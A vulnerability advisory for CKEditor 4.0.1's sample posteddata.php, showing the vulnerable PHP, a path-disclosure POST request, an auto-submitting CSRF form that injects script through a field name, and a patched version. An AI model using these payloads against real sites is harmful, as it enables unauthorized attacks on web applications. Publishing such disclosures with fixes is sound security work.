CKEditor 4.0.1 CSRF & XSS & Path Disclosure

2013.02.20
Credit: AkaStep
Risk: Medium
Local: No
Remote: Yes
CVE: N/A

=========================================== Vulnerable Software: ckeditor 4.0.1 standard Download: http://download.cksource.com/CKEditor/CKEditor/CKEditor%204.0.1/ckeditor_4.0.1_standard.zip Vulns: Full Path Disclosure && XSS =========================================== Tested On: Debian squeeze 6.0.6 Server version: Apache/2.2.16 (Debian) Apache traffic server 3.2.0 MYSQL: 5.1.66-0+squeeze1 PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug 6 2012 20:08:59) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH =========================================== Vulnerable Code: /ckeditor/samples/assets/posteddata.php =============SNIP BEGINS==================== root@debian:/etc/apache2/htdocs/hacker1/admin/ckeditor/samples/assets# cat posteddata.php <!DOCTYPE html> <?php /* Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved. For licensing, see LICENSE.html or http://ckeditor.com/license */ ?> <html> <head> <meta charset="utf-8"> <title>Sample &mdash; CKEditor</title> <link rel="stylesheet" href="sample.css"> </head> <body> <h1 class="samples"> CKEditor &mdash; Posted Data </h1> <table border="1" cellspacing="0" id="outputSample"> <colgroup><col width="120"></colgroup> <thead> <tr> <th>Field&nbsp;Name</th> <th>Value</th> </tr> </thead> <?php if ( isset( $_POST ) ) $postArray = &$_POST ; // 4.1.0 or later, use $_POST else $postArray = &$HTTP_POST_VARS ; // prior to 4.1.0, use HTTP_POST_VARS foreach ( $postArray as $sForm => $value ) { if ( get_magic_quotes_gpc() ) $postedValue = htmlspecialchars( stripslashes( $value ) ) ; else $postedValue = htmlspecialchars( $value ) ; ?> <tr> <th style="vertical-align: top"><?php echo $sForm?></th> <td><pre class="samples"><?php echo $postedValue?></pre></td> </tr> <?php } ?> </table> <div id="footer"> <hr> <p> CKEditor - The text editor for the Internet - <a class="samples" href="http://ckeditor.com/">http://ckeditor.com</a> </p> <p id="copy"> Copyright &copy; 2003-2013, <a class="samples" href="http://cksource.com/">CKSource</a> - Frederico Knabben. All rights reserved. </p> </div> </body> </html> =============SNIP ENDS HERE==================== FULL Path Disclosure example: URL: http://hacker1.own/admin/ckeditor/samples/sample_posteddata.php METHOD: $_POST HEADERS: Host: hacker1.own User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20100101 Firefox/17.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 30 $_POST DATA TO SEND: bangbangbang[]=PATH DISCLOSURE Result: Warning: htmlspecialchars() expects parameter 1 to be string, array given in /etc/apache2/htdocs/hacker1/admin/ckeditor/samples/assets/posteddata.php on line 38 Print screen: http://i076.radikal.ru/1302/84/edbe3f8f4524.png ================================================= CSRF+XSS <body onload="javascript:document.forms[0].submit()"> <form name="form1" method="post" action="http://hacker1.own/admin/ckeditor/samples/sample_posteddata.php" enctype="multipart/form-data"> <input type="hidden" name="<script>alert('AkaStep');</script>" id="fupl" value="SENDF"></li> </form> ================================================= Print Screen: http://i062.radikal.ru/1302/e6/25ef023dd589.png ================================================= And here is fixed version: /ckeditor/samples/assets/posteddata.php ================SNIP BEGINS======================= <!DOCTYPE html> <?php /* Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved. For licensing, see LICENSE.html or http://ckeditor.com/license */ ?> <html> <head> <meta charset="utf-8"> <title>Sample &mdash; CKEditor</title> <link rel="stylesheet" href="sample.css"> </head> <body> <h1 class="samples"> CKEditor &mdash; Posted Data </h1> <table border="1" cellspacing="0" id="outputSample"> <colgroup><col width="120"></colgroup> <thead> <tr> <th>Field&nbsp;Name</th> <th>Value</th> </tr> </thead> <?php if ( isset( $_POST ) ) $postArray = &$_POST ; // 4.1.0 or later, use $_POST else $postArray = &$HTTP_POST_VARS ; // prior to 4.1.0, use HTTP_POST_VARS foreach ( $postArray as $sForm => $value ) { if ( get_magic_quotes_gpc() ) $postedValue = htmlspecialchars( stripslashes((string) $value ) ) ; else $postedValue =htmlspecialchars((string) $value ) ; ?> <tr> <th style="vertical-align: top"><?php echo htmlspecialchars((string)$sForm);?></th> <td><pre class="samples"><?php echo $postedValue?></pre></td> </tr> <?php } ?> </table> <div id="footer"> <hr> <p> CKEditor - The text editor for the Internet - <a class="samples" href="http://ckeditor.com/">http://ckeditor.com</a> </p> <p id="copy"> Copyright &copy; 2003-2013, <a class="samples" href="http://cksource.com/">CKSource</a> - Frederico Knabben. All rights reserved. </p> </div> </body> </html> =============ENJOYYY==================== KUDOSSSSSSS ========================================= packetstormsecurity.org packetstormsecurity.com packetstormsecurity.net securityfocus.com cxsecurity.com security.nnov.ru securtiyvulns.com securitylab.ru secunia.com securityhome.eu exploitsdownload.com osvdb.com websecurity.com.ua 1337day.com itsecuritysolutions.org to all Aa Team + to all Azerbaijan Black HatZ + *Especially to my bro CAMOUFL4G3 * To All Turkish Hackers Also special thanks to: ottoman38 & HERO_AZE =========================================== /AkaStep

References:

http://download.cksource.com/CKEditor/CKEditor/CKEditor%204.0.1/ckeditor_4.0.1_standard.zip


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